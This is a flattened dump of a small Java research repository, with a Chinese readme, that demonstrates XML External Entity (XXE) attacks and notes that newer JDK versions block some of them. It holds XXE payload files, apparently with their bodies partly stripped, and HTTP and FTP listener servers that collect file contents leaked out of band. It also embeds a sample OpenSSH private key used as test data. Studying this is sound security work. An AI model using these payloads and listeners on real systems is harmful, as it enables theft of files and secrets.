├── .gitignore ├── bad_char1.txt ├── bad_char2.txt ├── d1_step1.xml ├── d1_step2.dtd ├── d2_step1.xml ├── d2_step2.dtd ├── line.txt ├── local.xml ├── multi_line.txt ├── readme.md ├── src └── com │ └── leadroyal │ └── xxe │ ├── ExternalEntityDemo1.java │ ├── ExternalEntityDemo2.java │ ├── LocalEntityDemo.java │ └── server │ ├── LocalFtpServer.java │ └── LocalHttpServer.java └── test.pri /.gitignore: -------------------------------------------------------------------------------- 1 | .gradle/ 2 | .idea/ 3 | build/ 4 | *.class 5 | out/ 6 | *.jar 7 | *.iml 8 | -------------------------------------------------------------------------------- /bad_char1.txt: -------------------------------------------------------------------------------- 1 | abc"def 2 | abc'def 3 | abc%def 4 | abc&def -------------------------------------------------------------------------------- /bad_char2.txt: -------------------------------------------------------------------------------- 1 | abc/def 2 | abc?def 3 | abc(\n)def 4 | abc(\r)def 5 | abd#def 6 | -------------------------------------------------------------------------------- /d1_step1.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | %include; 5 | %define_http;%send_http; 6 | ]> 7 | -------------------------------------------------------------------------------- /d1_step2.dtd: -------------------------------------------------------------------------------- 1 | 2 | "> -------------------------------------------------------------------------------- /d2_step1.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | %include; 5 | %define_ftp;%send_ftp; 6 | ]> 7 | -------------------------------------------------------------------------------- /d2_step2.dtd: -------------------------------------------------------------------------------- 1 | 2 | '> -------------------------------------------------------------------------------- /line.txt: -------------------------------------------------------------------------------- 1 | Hello, my name is line.txt. -------------------------------------------------------------------------------- /local.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | ]> 5 | &s1; -------------------------------------------------------------------------------- /multi_line.txt: -------------------------------------------------------------------------------- 1 | Hello123 2 | World456 -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # 9102年java里的xxe 2 | 3 | 9102年了,尝试了一下使用 XXE 攻击 java 程序,高版本会失败,总结了一下 jvm 里的变化。 4 | 5 | > 配合 http://www.leadroyal.cn/?p=914 使用更佳 6 | 7 | ### 有回显的情况,测试 Java XXE 对各种协议的支持情况 8 | 9 | - LocalEntityDemo.java 10 | - local.txt 11 | - line.txt 12 | 13 | 运行可以看到file协议被完全执行一遍,并且有回显。 14 | 15 | ### 使用 http oob 读单行文件 16 | 17 | - ExternalEntityDemo1 18 | - server/LocalHttpServer 19 | - d1_step1.xml 20 | - d1_step2.dtd 21 | 22 | 运行可以看到单行文件内容通过 http 协议传给了http 服务器。 23 | 24 | ### 使用 ftp oob 读多行文件(高版本会失败) 25 | 26 | - 【大于等于7u141】【大于等于8u162】会执行失败 27 | - ExternalEntityDemo2 28 | - server/LocalFtpServer 29 | - d2_step1.xml 30 | - d2_step2.dtd 31 | 32 | 运行可以看到多行文件内容通过 ftp 协议传给了ftp 服务器。 33 | 34 | ### 其他 35 | 36 | - bad_char1.txt 文件中第一类特殊字符 37 | - bad_char2.txt 文件中第二类特殊字符 38 | - test.pri 随手产生的一个私钥,稍微复杂一点,使用 ftp-oob 读多行也可以正常读取到 39 | 40 | -------------------------------------------------------------------------------- /src/com/leadroyal/xxe/ExternalEntityDemo1.java: -------------------------------------------------------------------------------- 1 | package com.leadroyal.xxe; 2 | 3 | import org.w3c.dom.Document; 4 | import org.xml.sax.SAXException; 5 | 6 | import javax.xml.parsers.DocumentBuilder; 7 | import javax.xml.parsers.DocumentBuilderFactory; 8 | import javax.xml.parsers.ParserConfigurationException; 9 | import java.io.File; 10 | import java.io.IOException; 11 | 12 | public class ExternalEntityDemo1 { 13 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { 14 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 15 | DocumentBuilder builder = dbf.newDocumentBuilder(); 16 | Document doc = builder.parse(new File("d1_step1.xml")); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/com/leadroyal/xxe/ExternalEntityDemo2.java: -------------------------------------------------------------------------------- 1 | package com.leadroyal.xxe; 2 | 3 | import org.w3c.dom.Document; 4 | import org.xml.sax.SAXException; 5 | 6 | import javax.xml.parsers.DocumentBuilder; 7 | import javax.xml.parsers.DocumentBuilderFactory; 8 | import javax.xml.parsers.ParserConfigurationException; 9 | import java.io.File; 10 | import java.io.IOException; 11 | 12 | public class ExternalEntityDemo2 { 13 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { 14 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 15 | DocumentBuilder builder = dbf.newDocumentBuilder(); 16 | Document doc = builder.parse(new File("d2_step1.xml")); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/com/leadroyal/xxe/LocalEntityDemo.java: -------------------------------------------------------------------------------- 1 | package com.leadroyal.xxe; 2 | 3 | import org.w3c.dom.Document; 4 | import org.w3c.dom.Node; 5 | import org.w3c.dom.NodeList; 6 | import org.xml.sax.SAXException; 7 | 8 | import javax.xml.parsers.DocumentBuilder; 9 | import javax.xml.parsers.DocumentBuilderFactory; 10 | import javax.xml.parsers.ParserConfigurationException; 11 | import java.io.File; 12 | import java.io.IOException; 13 | 14 | public class LocalEntityDemo { 15 | public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { 16 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 17 | DocumentBuilder builder = dbf.newDocumentBuilder(); 18 | Document doc = builder.parse(new File("local.xml")); 19 | NodeList nodes = doc.getChildNodes(); 20 | for (int i = 0; i < nodes.getLength(); i++) { 21 | if (nodes.item(i).getNodeType() == Node.ELEMENT_NODE) { 22 | System.out.println(nodes.item(i).getTextContent()); 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/com/leadroyal/xxe/server/LocalFtpServer.java: -------------------------------------------------------------------------------- 1 | package com.leadroyal.xxe.server; 2 | 3 | import java.io.IOException; 4 | import java.io.PrintWriter; 5 | import java.net.ServerSocket; 6 | import java.net.Socket; 7 | import java.util.NoSuchElementException; 8 | import java.util.Scanner; 9 | 10 | public class LocalFtpServer { 11 | private static final int PORT = 2121; 12 | private static final String RETR = "RETR"; 13 | private static final String CWD = "CWD"; 14 | private static final String TYPE = "TYPE"; 15 | private static final String JUNK1 = "EPSV"; 16 | private static final String JUNK2 = "EPRT"; 17 | private static final String LIST = "LIST"; 18 | 19 | public static void main(String[] args) throws IOException { 20 | ServerSocket socket = new ServerSocket(PORT); 21 | while (true) { 22 | Socket client = socket.accept(); 23 | new Thread(new Runnable() { 24 | @Override 25 | public void run() { 26 | StringBuilder sb = new StringBuilder(); 27 | boolean startRecord = false; 28 | try { 29 | PrintWriter remoteSender = new PrintWriter(client.getOutputStream(), true); 30 | Scanner remoteReader = new Scanner(client.getInputStream(), "UTF-8"); 31 | // FTP 的命令一般是 \r\n 作为一行的结束 32 | remoteReader.useDelimiter("\r\n"); 33 | remoteSender.println("220 xxe-ftp-server"); 34 | while (true) { 35 | String line = remoteReader.nextLine(); 36 | System.out.println("> " + line); 37 | if (line.startsWith("USER")) { 38 | remoteSender.println("331 password please - version check"); 39 | } else { 40 | remoteSender.println("230 more data please!"); 41 | } 42 | if (!startRecord) { 43 | if (line.startsWith(TYPE)) 44 | startRecord = true; 45 | } else { 46 | if (line.startsWith(RETR)) { 47 | sb.append('/').append(line.replace("RETR ", "")); 48 | client.setSoTimeout(3000); 49 | String tail = remoteReader.nextLine(); 50 | System.out.println("> " + tail); 51 | sb.append('\n').append(tail); 52 | break; 53 | } else if (line.startsWith(JUNK1) || line.startsWith(JUNK2)) { 54 | // nothing 55 | } else if (line.startsWith(CWD)) { 56 | sb.append('/').append(line.replace("RETR ", "").replace("CWD ", "")); 57 | } else if (line.startsWith(LIST)) { 58 | sb.append('/'); 59 | break; 60 | } else { 61 | sb.append('\n').append(line.replace("RETR ", "")); 62 | } 63 | } 64 | } 65 | client.close(); 66 | } catch (NoSuchElementException e) { 67 | e.printStackTrace(); 68 | } catch (IOException e) { 69 | e.printStackTrace(); 70 | } 71 | // 为了兼容 CWD ,开头多补充了一个斜杠 72 | System.out.println("=====File Content====="); 73 | String fileContent; 74 | fileContent = sb.substring(1); 75 | System.out.println(fileContent); 76 | System.out.println("=====File Content====="); 77 | } 78 | }).start(); 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/com/leadroyal/xxe/server/LocalHttpServer.java: -------------------------------------------------------------------------------- 1 | package com.leadroyal.xxe.server; 2 | 3 | import com.sun.net.httpserver.HttpExchange; 4 | import com.sun.net.httpserver.HttpHandler; 5 | import com.sun.net.httpserver.HttpServer; 6 | import com.sun.net.httpserver.spi.HttpServerProvider; 7 | 8 | import java.io.IOException; 9 | import java.io.OutputStream; 10 | import java.io.OutputStreamWriter; 11 | import java.net.HttpURLConnection; 12 | import java.net.InetSocketAddress; 13 | import java.net.URLDecoder; 14 | import java.nio.charset.StandardCharsets; 15 | 16 | public class LocalHttpServer { 17 | public static void main(String[] args) throws IOException { 18 | HttpServerProvider provider = HttpServerProvider.provider(); 19 | HttpServer httpserver = provider.createHttpServer(new InetSocketAddress(1234), 100); 20 | httpserver.createContext("/", new MyResponseHandler()); 21 | httpserver.setExecutor(null); 22 | httpserver.start(); 23 | System.out.println("server started"); 24 | } 25 | 26 | public static class MyResponseHandler implements HttpHandler { 27 | @Override 28 | public void handle(HttpExchange httpExchange) throws IOException { 29 | System.out.println("Receive Request Start"); 30 | String requestMethod = httpExchange.getRequestMethod(); 31 | if (requestMethod.equalsIgnoreCase("GET")) { 32 | System.out.println(URLDecoder.decode(httpExchange.getRequestURI().toString(), "UTF-8")); 33 | String response = ""; 34 | httpExchange.sendResponseHeaders(HttpURLConnection.HTTP_OK, response.getBytes(StandardCharsets.UTF_8).length); 35 | OutputStream responseBody = httpExchange.getResponseBody(); 36 | OutputStreamWriter writer = new OutputStreamWriter(responseBody, StandardCharsets.UTF_8); 37 | writer.write(response); 38 | writer.close(); 39 | responseBody.close(); 40 | } 41 | System.out.println("Receive Request End"); 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /test.pri: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn 3 | NhAAAAAwEAAQAAAQEAraly2Tr6aDk1tUnujiKv3ECNHAyybTGlItc3/ZWat1R5zqJAKEiF 4 | qCqB9fSOpHrnOX6RyIW8Tdm/KyVKKJySt0qyQWTxEggRHVZe3FOLPfXxFDxLqc+RuLm3LI 5 | 4s4qKVnqvb6L1gDurCnr6vQogjLDNWND7HTa3tj/MRk/tSFIMwn/CTqaLm2Zm5g5c532jU 6 | 1vSUI3WOQgYe7oAs9QO2714KCFvcZnM4ZBMh16p0hG91+f3m8Q6eWxXAtEhnzGBDLTn2ky 7 | 8mM/9XIdW5gfNarU2WcFx0zPoAB0KRKt2RV7QUuyDWL4xGScEtAbaeg/Jwy//CnwxAbuTS 8 | /IwTDolQZQAAA9Bc67guXOu4LgAAAAdzc2gtcnNhAAABAQCtqXLZOvpoOTW1Se6OIq/cQI 9 | 0cDLJtMaUi1zf9lZq3VHnOokAoSIWoKoH19I6keuc5fpHIhbxN2b8rJUoonJK3SrJBZPES 10 | CBEdVl7cU4s99fEUPEupz5G4ubcsjiziopWeq9vovWAO6sKevq9CiCMsM1Y0PsdNre2P8x 11 | GT+1IUgzCf8JOpoubZmbmDlznfaNTW9JQjdY5CBh7ugCz1A7bvXgoIW9xmczhkEyHXqnSE 12 | b3X5/ebxDp5bFcC0SGfMYEMtOfaTLyYz/1ch1bmB81qtTZZwXHTM+gAHQpEq3ZFXtBS7IN 13 | YvjEZJwS0Btp6D8nDL/8KfDEBu5NL8jBMOiVBlAAAAAwEAAQAAAQEAjhuUZNjTYog2QASg 14 | 1uThnc2g6ywksiAm7uzI35UVxyG0j3fMImq+HM+0C421UDlWj4DYUQvG/LnLqsXX+oWttZ 15 | nFZqfwcX3ya1xrQcaHsgtY3OM+U1YM++nVT/uEFW1QHEisKrcVLP/EhNyrVDlM9vWHfDdH 16 | JnTGar5QSxUkpK0g9UziIBsmZrNpf6JhKaOR2wIxStIc2VZxBwexcyuQRNgUbUbqZ5zzmW 17 | HlZoP5wJPyMUzelScw61ZnaIg9owAKea5+1gGjqZhNFq4JPEGaim97IimQ54oHjg6PrULd 18 | gm1Yn+3QrSCjhECkwQj37b1VBQfzyqKHdylxJjxihutLvQAAAIEA1QLEd4UqaiBFRlTKmd 19 | o7IRYwlsbZojwxok8jX9H6/Byg6Bc13Rnf4dZQAe7XCDt223Jkajebx3Ohcb8vckj8Rjf6 20 | z9FEAQu162jERS91On86/GI8TMDaqyl1U46khWZYy1cMKNq4iwVFDJTlgGKY8uowqx3VUH 21 | pLKh6xCMSj8moAAACBANYJzeyLl8KKM70Tpp27NnIWHg3LRKiMEy6c9ODcB/EJN+5uHxQN 22 | +H25KcBLS5lIF5Uc40J/yA42/wT6RpzbUMb+SW5tcKClLf+Q8GWrNQGUAulmwuQANrjQQI 23 | oHq2PxysJ1E55SpnotfUTMkRhyGn/+ro/1eWHWRU4jnNQRMV3jAAAAgQDPtTnl3Fu8XfpH 24 | onMCdRELhg+q18frVPHOQJg5+leTWtiJW9TTdycHajpU65w/YImkwkgBfjBrE6M9Ifi2cW 25 | OWd8Ae9JRNJdt9+o61EdJUvsG3Niv75zfS2ZbZU6Kg7jwZWkjYqh2BlOpnOTDrFrOk0KxQ 26 | 5mMUxv0qKUorMnRrFwAAABdsZWFkcm95YWxAbWFjLXByby5sb2NhbAEC 27 | -----END OPENSSH PRIVATE KEY----- 28 | --------------------------------------------------------------------------------